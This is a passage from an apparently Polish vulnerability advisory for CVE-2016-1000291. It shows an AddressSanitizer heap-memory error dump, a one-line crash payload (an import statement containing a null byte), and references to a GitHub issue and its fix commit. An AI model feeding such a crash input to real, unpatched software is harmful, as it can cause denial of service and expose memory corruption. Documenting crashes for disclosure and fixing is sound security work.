Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa 00[05]fa fa 00 fa fa fa 00 00 fa fa 06 fa
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==39208==ABORTING

Payload:

 import "\x00"

Issue #516 na GitHubie

Commit naprawiający: cfbfe09cc64c3682779c6ba1b7932aa8d4b3c5c9

CVE: CVE-2016-1000291

Zasoby dodatkowe